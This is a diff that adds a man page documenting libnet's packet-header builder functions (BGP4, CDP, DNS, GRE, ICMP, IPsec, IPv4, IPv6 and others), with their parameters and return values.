+\fIop\fP ARP operation type
+.br
+\fIsha\fP sender's hardware address
+.br
+\fIspa\fP sender's protocol address
+.br
+\fItha\fP target hardware address
+.br
+\fItpa\fP targer protocol address
+.br
+\fIpayload\fP optional payload or NULL
+.br
+\fIpayload_s\fP payload length or 0
+.br
+\fIl\fP pointer to a libnet context
+.br
+\fIptag\fP protocol tag to modify an existing header, 0 to build a new one
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+protocol tag value on success, -1 on error
+.RE
+.PP
+
+.SS "libnet_ptag_t libnet_build_bgp4_header (u_int8_t marker[LIBNET_BGP4_MARKER_SIZE], u_int16_t len, u_int8_t type, u_int8_t * payload, u_int32_t payload_s, libnet_t * l, libnet_ptag_t ptag)"
+.PP
+Builds an RFC 1771 Border Gateway Protocol 4 (BGP-4) header. The primary function of a BGP speaking system is to exchange network reachability information with other BGP systems. This network reachability information includes information on the list of Autonomous Systems (ASs) that reachability information traverses. This information is sufficient to construct a graph of AS connectivity from which routing loops may be pruned and some policy decisions at the AS level may be enforced. This function builds the base BGP header which is used as a preamble before any other BGP header. For example, a BGP KEEPALIVE message may be built with only this function, while an error notification requires a subsequent call to libnet_build_bgp4_notification.
+.PP
+\fBParameters:\fP
+.RS 4
+\fImarker\fP a value the receiver can predict (if the message type is not BGP OPEN, or no authentication is used, these 16 bytes are normally set as all ones)
+.br
+\fIlen\fP total length of the BGP message, including the header
+.br
+\fItype\fP type code of the message (OPEN, UPDATE, NOTIFICATION or KEEPALIVE)
+.br
+\fIpayload\fP optional payload or NULL
+.br
+\fIpayload_s\fP payload length or 0
+.br
+\fIl\fP pointer to a libnet context
+.br
+\fIptag\fP protocol tag to modify an existing header, 0 to build a new one
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+protocol tag value on success, -1 on error
+.RE
+.PP
+
+.SS "libnet_ptag_t libnet_build_bgp4_notification (u_int8_t err_code, u_int8_t err_subcode, u_int8_t * payload, u_int32_t payload_s, libnet_t * l, libnet_ptag_t ptag)"
+.PP
+Builds an RFC 1771 Border Gateway Protocol 4 (BGP-4) notification header. A NOTIFICATION message is sent when an error condition is detected. Specific error information may be passed through the payload interface.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIerr_code\fP type of notification
+.br
+\fIerr_subcode\fP more specific information about the reported error.
+.br
+\fIpayload\fP optional payload or NULL
+.br
+\fIpayload_s\fP payload length or 0
+.br
+\fIl\fP pointer to a libnet context
+.br
+\fIptag\fP protocol tag to modify an existing header, 0 to build a new one
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+protocol tag value on success, -1 on error
+.RE
+.PP
+
+.SS "libnet_ptag_t libnet_build_bgp4_open (u_int8_t version, u_int16_t src_as, u_int16_t hold_time, u_int32_t bgp_id, u_int8_t opt_len, u_int8_t * payload, u_int32_t payload_s, libnet_t * l, libnet_ptag_t ptag)"
+.PP
+Builds an RFC 1771 Border Gateway Protocol 4 (BGP-4) OPEN header. This is the first message sent by each side of a BGP connection. The optional parameters options should be constructed using the payload interface (see RFC 1771 for the options structures).
+.PP
+\fBParameters:\fP
+.RS 4
+\fIversion\fP protocol version (should be set to 4)
+.br
+\fIsrc_as\fP Autonomous System of the sender
+.br
+\fIhold_time\fP used to compute the maximum allowed time between the receipt of KEEPALIVE, and/or UPDATE messages by the sender
+.br
+\fIbgp_id\fP BGP identifier of the sender
+.br
+\fIopt_len\fP total length of the optional parameters field in bytes
+.br
+\fIpayload\fP optional payload or NULL
+.br
+\fIpayload_s\fP payload length or 0
+.br
+\fIl\fP pointer to a libnet context
+.br
+\fIptag\fP protocol tag to modify an existing header, 0 to build a new one
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+protocol tag value on success, -1 on error
+.RE
+.PP
+
+.SS "libnet_ptag_t libnet_build_bgp4_update (u_int16_t unfeasible_rt_len, u_int8_t * withdrawn_rt, u_int16_t total_path_attr_len, u_int8_t * path_attributes, u_int16_t info_len, u_int8_t * reachability_info, u_int8_t * payload, u_int32_t payload_s, libnet_t * l, libnet_ptag_t ptag)"
+.PP
+Builds an RFC 1771 Border Gateway Protocol 4 (BGP-4) update header. Update messages are used to transfer routing information between BGP peers.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIunfeasible_rt_len\fP indicates the length of the (next) 'withdrawn routes' field in bytes
+.br
+\fIwithdrawn_rt\fP list of IP addresses prefixes for the routes that are being withdrawn; each IP address prefix is built as a 2-tuple <length (1 byte), prefix (variable)>
+.br
+\fItotal_path_attr_len\fP indicates the length of the (next) 'path attributes' field in bytes
+.br
+\fIpath_attributes\fP each attribute is a 3-tuple <type (2 bytes), length, value>
+.br
+\fIinfo_len\fP indicates the length of the (next) 'network layer reachability information' field in bytes (needed for internal memory size calculation)
+.br
+\fIreachability_info\fP 2-tuples <length (1 byte), prefix (variable)>.
+.br
+\fIpayload\fP optional payload or NULL
+.br
+\fIpayload_s\fP payload length or 0
+.br
+\fIl\fP pointer to a libnet context
+.br
+\fIptag\fP protocol tag to modify an existing header, 0 to build a new one
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+protocol tag value on success, -1 on error
+.RE
+.PP
+
+.SS "libnet_ptag_t libnet_build_bootpv4 (u_int8_t opcode, u_int8_t htype, u_int8_t hlen, u_int8_t hopcount, u_int32_t xid, u_int16_t secs, u_int16_t flags, u_int32_t cip, u_int32_t yip, u_int32_t sip, u_int32_t gip, u_int8_t * chaddr, u_int8_t * sname, u_int8_t * file, u_int8_t * payload, u_int32_t payload_s, libnet_t * l, libnet_ptag_t ptag)"
+.PP
+\fBParameters:\fP
+.RS 4
+\fIpayload\fP optional payload or NULL
+.br
+\fIpayload_s\fP payload length or 0
+.br
+\fIl\fP pointer to a libnet context
+.br
+\fIptag\fP protocol tag to modify an existing header, 0 to build a new one
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+protocol tag value on success, -1 on error
+.RE
+.PP
+
+.SS "libnet_ptag_t libnet_build_cdp (u_int8_t version, u_int8_t ttl, u_int16_t sum, u_int16_t type, u_int16_t len, u_int8_t * value, u_int8_t * payload, u_int32_t payload_s, libnet_t * l, libnet_ptag_t ptag)"
+.PP
+Builds a Cisco Discovery Protocol (CDP) header. Cisco Systems designed CDP to aid in the network management of adjacent Cisco devices. The CDP protocol specifies data by using a type/length/value (TLV) setup. The first TLV can specified by using the functions type, length, and value arguments. To specify additional TLVs, the programmer could either use the payload interface or \fBlibnet_build_data()\fP to construct them.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIversion\fP CDP version
+.br
+\fIttl\fP time to live (time information should be cached by recipient)
+.br
+\fIsum\fP checksum (0 for libnet to autofill)
+.br
+\fItype\fP type of data contained in value
+.br
+\fIlen\fP length of value arugment
+.br
+\fIvalue\fP the CDP information string
+.br
+\fIpayload\fP optional payload or NULL
+.br
+\fIpayload_s\fP payload length or 0
+.br
+\fIl\fP pointer to a libnet context
+.br
+\fIptag\fP protocol tag to modify an existing header, 0 to build a new one
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+protocol tag value on success, -1 on error
+.RE
+.PP
+
+.SS "libnet_ptag_t libnet_build_data (u_int8_t * payload, u_int32_t payload_s, libnet_t * l, libnet_ptag_t ptag)"
+.PP
+Builds a generic libnet protocol header. This is useful for including an optional payload to a packet that might need to change repeatedly inside of a loop.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIpayload\fP optional payload or NULL
+.br
+\fIpayload_s\fP payload length or 0
+.br
+\fIl\fP pointer to a libnet context
+.br
+\fIptag\fP protocol tag to modify an existing header, 0 to build a new one
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+protocol tag value on success, -1 on error
+.RE
+.PP
+
+.SS "libnet_ptag_t libnet_build_dhcpv4 (u_int8_t opcode, u_int8_t htype, u_int8_t hlen, u_int8_t hopcount, u_int32_t xid, u_int16_t secs, u_int16_t flags, u_int32_t cip, u_int32_t yip, u_int32_t sip, u_int32_t gip, u_int8_t * chaddr, u_int8_t * sname, u_int8_t * file, u_int8_t * payload, u_int32_t payload_s, libnet_t * l, libnet_ptag_t ptag)"
+.PP
+\fBParameters:\fP
+.RS 4
+\fIpayload\fP optional payload or NULL
+.br
+\fIpayload_s\fP payload length or 0
+.br
+\fIl\fP pointer to a libnet context
+.br
+\fIptag\fP protocol tag to modify an existing header, 0 to build a new one
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+protocol tag value on success, -1 on error
+.RE
+.PP
+
+.SS "libnet_ptag_t libnet_build_dnsv4 (u_int16_t h_len, u_int16_t id, u_int16_t flags, u_int16_t num_q, u_int16_t num_anws_rr, u_int16_t num_auth_rr, u_int16_t num_addi_rr, u_int8_t * payload, u_int32_t payload_s, libnet_t * l, libnet_ptag_t ptag)"
+.PP
+Builds an RFC 1035 version 4 DNS header. Additional DNS payload information should be specified using the payload interface.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIid\fP DNS packet id
+.br
+\fIflags\fP control flags
+.br
+\fInum_q\fP number of questions
+.br
+\fInum_anws_rr\fP number of answer resource records
+.br
+\fInum_auth_rr\fP number of authority resource records
+.br
+\fInum_addi_rr\fP number of additional resource records
+.br
+\fIpayload\fP optional payload or NULL
+.br
+\fIpayload_s\fP payload length or 0
+.br
+\fIl\fP pointer to a libnet context
+.br
+\fIptag\fP protocol tag to modify an existing header, 0 to build a new one
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+protocol tag value on success, -1 on error
+.RE
+.PP
+
+.SS "libnet_ptag_t libnet_build_egre (u_int16_t fv, u_int16_t type, u_int16_t sum, u_int16_t offset, u_int32_t key, u_int32_t seq, u_int16_t len, u_int8_t * payload, u_int32_t payload_s, libnet_t * l, libnet_ptag_t ptag)"
+.PP
+Generic Routing Encapsulation (GRE - RFC 1701) is used to encapsulate any protocol. Hence, the IP part of the packet is usually referred as 'delivery header'. It is then followed by the GRE header and finally the encapsulated packet (IP or whatever). As GRE is very modular, the first GRE header describes the structure of the header, using bits and flag to specify which fields will be present in the header.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIfv\fP the 16 0 to 7: which fields are included in the header (checksum, seq. number, key, ...), bits 8 to 12: flag, bits 13 to 15: version.
+.br
+\fIpayload\fP optional payload or NULL
+.br
+\fItype\fP which protocol is encapsulated (PPP, IP, ...)
+.br
+\fIsum\fP checksum (0 for libnet to autofill).
+.br
+\fIoffset\fP byte offset from the start of the routing field to the first byte of the SRE
+.br
+\fIkey\fP inserted by the encapsulator to authenticate the source
+.br
+\fIseq\fP sequence number used by the receiver to sort the packets
+.br
+\fIlen\fP size of the GRE packet
+.br
+\fIpayload_s\fP payload length or 0
+.br
+\fIl\fP pointer to a libnet context
+.br
+\fIptag\fP protocol tag to modify an existing header, 0 to build a new one
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+protocol tag value on success, -1 on error
+.RE
+.PP
+
+.SS "libnet_ptag_t libnet_build_ethernet (u_int8_t * dst, u_int8_t * src, u_int16_t type, u_int8_t * payload, u_int32_t payload_s, libnet_t * l, libnet_ptag_t ptag)"
+.PP
+Builds an Ethernet header. The RFC 894 Ethernet II header is almost identical to the IEEE 802.3 header, with the exception that the field immediately following the source address holds the layer 3 protocol (as opposed to frame's length). You should only use this function when libnet is initialized with the LIBNET_LINK interface.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIdst\fP destination ethernet address
+.br
+\fIsrc\fP source ethernet address
+.br
+\fItype\fP upper layer protocol type
+.br
+\fIpayload\fP optional payload or NULL
+.br
+\fIpayload_s\fP payload length or 0
+.br
+\fIl\fP pointer to a libnet context
+.br
+\fIptag\fP protocol tag to modify an existing header, 0 to build a new one
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+protocol tag value on success, -1 on error
+.RE
+.PP
+
+.SS "libnet_ptag_t libnet_build_fddi (u_int8_t fc, u_int8_t * dst, u_int8_t * src, u_int8_t dsap, u_int8_t ssap, u_int8_t cf, u_int8_t * org, u_int16_t type, u_int8_t * payload, u_int32_t payload_s, libnet_t * l, libnet_ptag_t ptag)"
+.PP
+Builds a Fiber Distributed Data Interface (FDDI) header.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIfc\fP class format and priority dst destination fddi address src source fddi address
+.br
+\fIdsap\fP destination service access point
+.br
+\fIssap\fP source service access point
+.br
+\fIcf\fP cf
+.br
+\fIorg\fP 3 byte IEEE organizational code
+.br
+\fItype\fP upper layer protocol
+.br
+\fIpayload\fP optional payload or NULL
+.br
+\fIpayload_s\fP payload length or 0
+.br
+\fIl\fP pointer to a libnet context
+.br
+\fIptag\fP protocol tag to modify an existing header, 0 to build a new one
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+protocol tag value on success, -1 on error
+.RE
+.PP
+
+.SS "libnet_ptag_t libnet_build_gre (u_int16_t fv, u_int16_t type, u_int16_t sum, u_int16_t offset, u_int32_t key, u_int32_t seq, u_int16_t len, u_int8_t * payload, u_int32_t payload_s, libnet_t * l, libnet_ptag_t ptag)"
+.PP
+Generic Routing Encapsulation (GRE - RFC 1701) is used to encapsulate any protocol. Hence, the IP part of the packet is usually referred as 'delivery header'. It is then followed by the GRE header and finally the encapsulated packet (IP or whatever). As GRE is very modular, the first GRE header describes the structure of the header, using bits and flag to specify which fields will be present in the header.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIfv\fP the 16 0 to 7: which fields are included in the header (checksum, seq. number, key, ...), bits 8 to 12: flag, bits 13 to 15: version.
+.br
+\fIpayload\fP optional payload or NULL
+.br
+\fItype\fP which protocol is encapsulated (PPP, IP, ...)
+.br
+\fIsum\fP checksum (0 for libnet to autofill).
+.br
+\fIoffset\fP byte offset from the start of the routing field to the first byte of the SRE
+.br
+\fIkey\fP inserted by the encapsulator to authenticate the source
+.br
+\fIseq\fP sequence number used by the receiver to sort the packets
+.br
+\fIlen\fP size of the GRE packet
+.br
+\fIpayload_s\fP payload length or 0
+.br
+\fIl\fP pointer to a libnet context
+.br
+\fIptag\fP protocol tag to modify an existing header, 0 to build a new one
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+protocol tag value on success, -1 on error
+.RE
+.PP
+
+.SS "libnet_ptag_t libnet_build_gre_last_sre (libnet_t * l, libnet_ptag_t ptag)"
+.PP
+\fBParameters:\fP
+.RS 4
+\fIpayload\fP optional payload or NULL
+.br
+\fIpayload_s\fP payload length or 0
+.br
+\fIl\fP pointer to a libnet context
+.br
+\fIptag\fP protocol tag to modify an existing header, 0 to build a new one
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+protocol tag value on success, -1 on error
+.RE
+.PP
+
+.SS "libnet_ptag_t libnet_build_gre_sre (u_int16_t af, u_int8_t offset, u_int8_t length, u_int8_t * routing, u_int8_t * payload, u_int32_t payload_s, libnet_t * l, libnet_ptag_t ptag)"
+.PP
+\fBParameters:\fP
+.RS 4
+\fIpayload\fP optional payload or NULL
+.br
+\fIpayload_s\fP payload length or 0
+.br
+\fIl\fP pointer to a libnet context
+.br
+\fIptag\fP protocol tag to modify an existing header, 0 to build a new one
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+protocol tag value on success, -1 on error
+.RE
+.PP
+
+.SS "libnet_ptag_t libnet_build_icmpv4_echo (u_int8_t type, u_int8_t code, u_int16_t sum, u_int16_t id, u_int16_t seq, u_int8_t * payload, u_int32_t payload_s, libnet_t * l, libnet_ptag_t ptag)"
+.PP
+Builds an IP version 4 RFC 792 Internet Control Message Protocol (ICMP) echo request/reply header
+.PP
+\fBParameters:\fP
+.RS 4
+\fItype\fP type of ICMP packet (should be ICMP_ECHOREPLY or ICMP_ECHO)
+.br
+\fIcode\fP code of ICMP packet (should be 0)
+.br
+\fIsum\fP checksum (0 for libnet to autofill)
+.br
+\fIid\fP identification number
+.br
+\fIseq\fP packet sequence number
+.br
+\fIpayload\fP optional payload or NULL
+.br
+\fIpayload_s\fP payload length or 0
+.br
+\fIl\fP pointer to a libnet context
+.br
+\fIptag\fP protocol tag to modify an existing header, 0 to build a new one
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+protocol tag value on success, -1 on error
+.RE
+.PP
+
+.SS "libnet_ptag_t libnet_build_icmpv4_mask (u_int8_t type, u_int8_t code, u_int16_t sum, u_int16_t id, u_int16_t seq, u_int32_t mask, u_int8_t * payload, u_int32_t payload_s, libnet_t * l, libnet_ptag_t ptag)"
+.PP
+Builds an IP version 4 RFC 792 Internet Control Message Protocol (ICMP) IP netmask request/reply header.
+.PP
+\fBParameters:\fP
+.RS 4
+\fItype\fP type of ICMP packet (should be ICMP_MASKREQ or ICMP_MASKREPLY)
+.br
+\fIcode\fP code of ICMP packet (should be 0)
+.br
+\fIsum\fP checksum (0 for libnet to autofill)
+.br
+\fIid\fP identification number
+.br
+\fIseq\fP packet sequence number
+.br
+\fImask\fP subnet mask
+.br
+\fIpayload\fP optional payload or NULL
+.br
+\fIpayload_s\fP payload length or 0
+.br
+\fIl\fP pointer to a libnet context
+.br
+\fIptag\fP protocol tag to modify an existing header, 0 to build a new one
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+protocol tag value on success, -1 on error
+.RE
+.PP
+
+.SS "libnet_ptag_t libnet_build_icmpv4_redirect (u_int8_t type, u_int8_t code, u_int16_t sum, u_int32_t gateway, u_int16_t orig_len, u_int8_t orig_tos, u_int16_t orig_id, u_int16_t orig_frag, u_int8_t orig_ttl, u_int8_t orig_prot, u_int16_t orig_check, u_int32_t orig_src, u_int32_t orig_dst, u_int8_t * payload, u_int32_t payload_s, libnet_t * l, libnet_ptag_t ptag)"
+.PP
+Builds an IP version 4 RFC 792 Internet Message Control Protocol (ICMP) redirect header. The additional arguments enable the application programmer to easily specify the original IP header values (the IP header of the packet that supposedly caused the ICMP redirect message in the first place).
+.PP
+\fBParameters:\fP
+.RS 4
+\fItype\fP type of ICMP packet (should be ICMP_REDIRECT)
+.br
+\fIcode\fP code of ICMP packet (should be one of the four redirect codes)
+.br
+\fIsum\fP checksum (0 for libnet to autofill)
+.br
+\fIorig_id\fP original IP header identification
+.br
+\fIorig_frag\fP original IP header fragmentation information
+.br
+\fIorig_ttl\fP orginal IP header time to live
+.br
+\fIorig_prot\fP original IP header protocol
+.br
+\fIorig_check\fP original IP header checksum
+.br
+\fIorig_src\fP original IP header source address
+.br
+\fIorig_dst\fP original IP header destination address
+.br
+\fIpayload\fP optional payload or NULL
+.br
+\fIpayload_s\fP payload length or 0
+.br
+\fIl\fP pointer to a libnet context
+.br
+\fIptag\fP protocol tag to modify an existing header, 0 to build a new one
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+protocol tag value on success, -1 on error
+.RE
+.PP
+
+.SS "libnet_ptag_t libnet_build_icmpv4_timeexceed (u_int8_t type, u_int8_t code, u_int16_t sum, u_int16_t orig_len, u_int8_t orig_tos, u_int16_t orig_id, u_int16_t orig_frag, u_int8_t orig_ttl, u_int8_t orig_prot, u_int16_t orig_check, u_int32_t orig_src, u_int32_t orig_dst, u_int8_t * payload, u_int32_t payload_s, libnet_t * l, libnet_ptag_t ptag)"
+.PP
+Builds an IP version 4 RFC 792 Internet Control Message Protocol (ICMP) time exceeded header. The additional arguments enable the application programmer to easily specify the original IPv4 header values (the IP header of the packet that supposedly caused the ICMP time exceeded message in the first place).
+.PP
+\fBParameters:\fP
+.RS 4
+\fItype\fP type of ICMP packet (should be ICMP_TIMXCEED)
+.br
+\fIcode\fP code of ICMP packet (ICMP_TIMXCEED_INTRANS / ICMP_TIMXCEED_REASS)
+.br
+\fIsum\fP checksum (0 for libnet to autofill)
+.br
+\fIorig_id\fP original IP header identification
+.br
+\fIorig_frag\fP original IP header fragmentation information
+.br
+\fIorig_ttl\fP orginal IP header time to live
+.br
+\fIorig_prot\fP original IP header protocol
+.br
+\fIorig_check\fP original IP header checksum
+.br
+\fIorig_src\fP original IP header source address
+.br
+\fIorig_dst\fP original IP header destination address
+.br
+\fIpayload\fP optional payload or NULL
+.br
+\fIpayload\fP optional payload or NULL
+.br
+\fIpayload_s\fP payload length or 0
+.br
+\fIl\fP pointer to a libnet context
+.br
+\fIptag\fP protocol tag to modify an existing header, 0 to build a new one
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+protocol tag value on success, -1 on error
+.RE
+.PP
+
+.SS "libnet_ptag_t libnet_build_icmpv4_timestamp (u_int8_t type, u_int8_t code, u_int16_t sum, u_int16_t id, u_int16_t seq, n_time otime, n_time rtime, n_time ttime, u_int8_t * payload, u_int32_t payload_s, libnet_t * l, libnet_ptag_t ptag)"
+.PP
+Builds an IP version 4 RFC 792 Internet Control Message Protocol (ICMP) timestamp request/reply header.
+.PP
+\fBParameters:\fP
+.RS 4
+\fItype\fP type of ICMP packet (should be ICMP_TSTAMP or ICMP_TSTAMPREPLY)
+.br
+\fIcode\fP code of ICMP packet (should be 0)
+.br
+\fIsum\fP checksum (0 for libnet to autofill)
+.br
+\fIid\fP identification number
+.br
+\fIseq\fP sequence number
+.br
+\fIotime\fP originate timestamp
+.br
+\fIrtime\fP receive timestamp
+.br
+\fIttime\fP transmit timestamp
+.br
+\fIpayload\fP optional payload or NULL
+.br
+\fIpayload_s\fP payload length or 0
+.br
+\fIl\fP pointer to a libnet context
+.br
+\fIptag\fP protocol tag to modify an existing header, 0 to build a new one
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+protocol tag value on success, -1 on error
+.RE
+.PP
+
+.SS "libnet_ptag_t libnet_build_icmpv4_unreach (u_int8_t type, u_int8_t code, u_int16_t sum, u_int16_t orig_len, u_int8_t orig_tos, u_int16_t orig_id, u_int16_t orig_frag, u_int8_t orig_ttl, u_int8_t orig_prot, u_int16_t orig_check, u_int32_t orig_src, u_int32_t orig_dst, u_int8_t * payload, u_int32_t payload_s, libnet_t * l, libnet_ptag_t ptag)"
+.PP
+Builds an IP version 4 RFC 792 Internet Control Message Protocol (ICMP) unreachable header. The additional arguments enable the application programmer to easily specify the original IPv4 header values (the IP header of the packet that supposedly caused the ICMP unreachable message in the first place).
+.PP
+\fBParameters:\fP
+.RS 4
+\fItype\fP type of ICMP packet (should be ICMP_UNREACH)
+.br
+\fIcode\fP code of ICMP packet (should be one of the 16 unreachable codes)
+.br
+\fIsum\fP checksum (0 for libnet to autofill)
+.br
+\fIorig_id\fP original IP header identification
+.br
+\fIorig_frag\fP original IP header fragmentation information
+.br
+\fIorig_ttl\fP orginal IP header time to live
+.br
+\fIorig_prot\fP original IP header protocol
+.br
+\fIorig_check\fP original IP header checksum
+.br
+\fIorig_src\fP original IP header source address
+.br
+\fIorig_dst\fP original IP header destination address
+.br
+\fIpayload\fP optional payload or NULL
+.br
+\fIpayload_s\fP payload length or 0
+.br
+\fIl\fP pointer to a libnet context
+.br
+\fIptag\fP protocol tag to modify an existing header, 0 to build a new one
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+protocol tag value on success, -1 on error
+.RE
+.PP
+
+.SS "libnet_ptag_t libnet_build_igmp (u_int8_t type, u_int8_t code, u_int16_t sum, u_int32_t ip, u_int8_t * payload, u_int32_t payload_s, libnet_t * l, libnet_ptag_t ptag)"
+.PP
+Builds an RFC 1112 Internet Group Memebership Protocol (IGMP) header.
+.PP
+\fBParameters:\fP
+.RS 4
+\fItype\fP packet type
+.br
+\fIcode\fP packet code (should be 0)
+.br
+\fIsum\fP checksum (0 for libnet to autofill)
+.br
+\fIip\fP IPv4 address
+.br
+\fIpayload\fP optional payload or NULL
+.br
+\fIpayload_s\fP payload length or 0
+.br
+\fIl\fP pointer to a libnet context
+.br
+\fIptag\fP protocol tag to modify an existing header, 0 to build a new one
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+protocol tag value on success, -1 on error
+.RE
+.PP
+
+.SS "libnet_ptag_t libnet_build_ipsec_ah (u_int8_t nh, u_int8_t len, u_int16_t res, u_int32_t spi, u_int32_t seq, u_int32_t auth, u_int8_t * payload, u_int32_t payload_s, libnet_t * l, libnet_ptag_t ptag)"
+.PP
+Builds an Internet Protocol Security Authentication header.
+.PP
+\fBParameters:\fP
+.RS 4
+\fInh\fP next header
+.br
+\fIlen\fP payload length
+.br
+\fIres\fP reserved
+.br
+\fIspi\fP security parameter index
+.br
+\fIseq\fP sequence number
+.br
+\fIauth\fP authentication data
+.br
+\fIpayload\fP optional payload or NULL
+.br
+\fIpayload_s\fP payload length or 0
+.br
+\fIl\fP pointer to a libnet context
+.br
+\fIptag\fP protocol tag to modify an existing header, 0 to build a new one
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+protocol tag value on success, -1 on error
+.RE
+.PP
+
+.SS "libnet_ptag_t libnet_build_ipsec_esp_ftr (u_int8_t len, u_int8_t nh, int8_t * auth, u_int8_t * payload, u_int32_t payload_s, libnet_t * l, libnet_ptag_t ptag)"
+.PP
+Builds an Internet Protocol Security Encapsulating Security Payload footer.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIlen\fP padding length
+.br
+\fInh\fP next header
+.br
+\fIauth\fP authentication data
+.br
+\fIpayload\fP optional payload or NULL
+.br
+\fIpayload_s\fP payload length or 0
+.br
+\fIl\fP pointer to a libnet context
+.br
+\fIptag\fP protocol tag to modify an existing header, 0 to build a new one
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+protocol tag value on success, -1 on error
+.RE
+.PP
+
+.SS "libnet_ptag_t libnet_build_ipsec_esp_hdr (u_int32_t spi, u_int32_t seq, u_int32_t iv, u_int8_t * payload, u_int32_t payload_s, libnet_t * l, libnet_ptag_t ptag)"
+.PP
+Builds an Internet Protocol Security Encapsulating Security Payload header.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIspi\fP security parameter index
+.br
+\fIseq\fP ESP sequence number
+.br
+\fIiv\fP initialization vector
+.br
+\fIpayload\fP optional payload or NULL
+.br
+\fIpayload_s\fP payload length or 0
+.br
+\fIl\fP pointer to a libnet context
+.br
+\fIptag\fP protocol tag to modify an existing header, 0 to build a new one
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+protocol tag value on success, -1 on error
+.RE
+.PP
+
+.SS "libnet_ptag_t libnet_build_ipv4 (u_int16_t len, u_int8_t tos, u_int16_t id, u_int16_t frag, u_int8_t ttl, u_int8_t prot, u_int16_t sum, u_int32_t src, u_int32_t dst, u_int8_t * payload, u_int32_t payload_s, libnet_t * l, libnet_ptag_t ptag)"
+.PP
+Builds a version 4 RFC 791 Internet Protocol (IP) header.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIlen\fP total length of the IP packet including all subsequent data
+.br
+\fItos\fP type of service bits
+.br
+\fIid\fP IP identification number
+.br
+\fIfrag\fP fragmentation bits and offset
+.br
+\fIttl\fP time to live in the network
+.br
+\fIprot\fP upper layer protocol
+.br
+\fIsum\fP checksum (0 for libnet to autofill)
+.br
+\fIsrc\fP source IPv4 address (little endian)
+.br
+\fIdst\fP destination IPv4 address (little endian)
+.br
+\fIpayload\fP optional payload or NULL
+.br
+\fIpayload_s\fP payload length or 0
+.br
+\fIl\fP pointer to a libnet context
+.br
+\fIptag\fP protocol tag to modify an existing header, 0 to build a new one
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+protocol tag value on success, -1 on error
+.RE
+.PP
+
+.SS "libnet_ptag_t libnet_build_ipv4_options (u_int8_t * options, u_int32_t options_s, libnet_t * l, libnet_ptag_t ptag)"
+.PP
+Builds an version 4 Internet Protocol (IP) options header. The function expects options to be a valid IP options string of size options_s, no larger than 40 bytes (the maximum size of an options string). The function checks to make sure that the preceding header is an IPv4 header and that the options string would not result in a packet larger than 65,535 bytes (IPMAXPACKET). The function counts up the number of 32-bit words in the options string and adjusts the IP header length value as necessary.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIoptions\fP byte string of IP options
+.br
+\fIoptions_s\fP length of options string
+.br
+\fIl\fP pointer to a libnet context
+.br
+\fIptag\fP protocol tag to modify an existing header, 0 to build a new one
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+protocol tag value on success, -1 on error
+.RE
+.PP
+
+.SS "libnet_ptag_t libnet_build_ipv6 (u_int8_t tc, u_int32_t fl, u_int16_t len, u_int8_t nh, u_int8_t hl, struct libnet_in6_addr src, struct libnet_in6_addr dst, u_int8_t * payload, u_int32_t payload_s, libnet_t * l, libnet_ptag_t ptag)"
+.PP
+Builds a version 6 RFC 2460 Internet Protocol (IP) header.
+.PP
+\fBParameters:\fP
+.RS 4
+\fItc\fP traffic class
+.br
+\fIfl\fP flow label
+.br
+\fIlen\fP total length of the IP packet
+.br
+\fInh\fP next header
+.br
+\fIhl\fP hop limit
+.br
+\fIsrc\fP source IPv6 address
+.br
+\fIdst\fP destination IPv6 address
+.br
+\fIpayload\fP optional payload or NULL
+.br
+\fIpayload_s\fP payload length or 0
+.br
+\fIl\fP pointer to a libnet context
+.br
+\fIptag\fP protocol tag to modify an existing header, 0 to build a new one
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+protocol tag value on success, -1 on error
+.RE
+.PP
+
+.SS "libnet_ptag_t libnet_build_ipv6_destopts (u_int8_t nh, u_int8_t len, u_int8_t * payload, u_int32_t payload_s, libnet_t * l, libnet_ptag_t ptag)"
+.PP
+Builds a version 6 RFC 2460 Internet Protocol (IP) destination options header. This function is special in that it uses the payload interface to include the options data. The application programmer will build an IPv6 options byte string and pass it to the function using the payload interface.
+.PP
+\fBParameters:\fP
+.RS 4
+\fInh\fP next header
+.br
+\fIlen\fP length of the header in 8-byte octets not including the first 8 octets
+.br
+\fIpayload\fP options payload
+.br
+\fIpayload_s\fP payload length
+.br
+\fIl\fP pointer to a libnet context
+.br
+\fIptag\fP protocol tag to modify an existing header, 0 to build a new one
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+protocol tag value on success, -1 on error
+.RE
+.PP
+
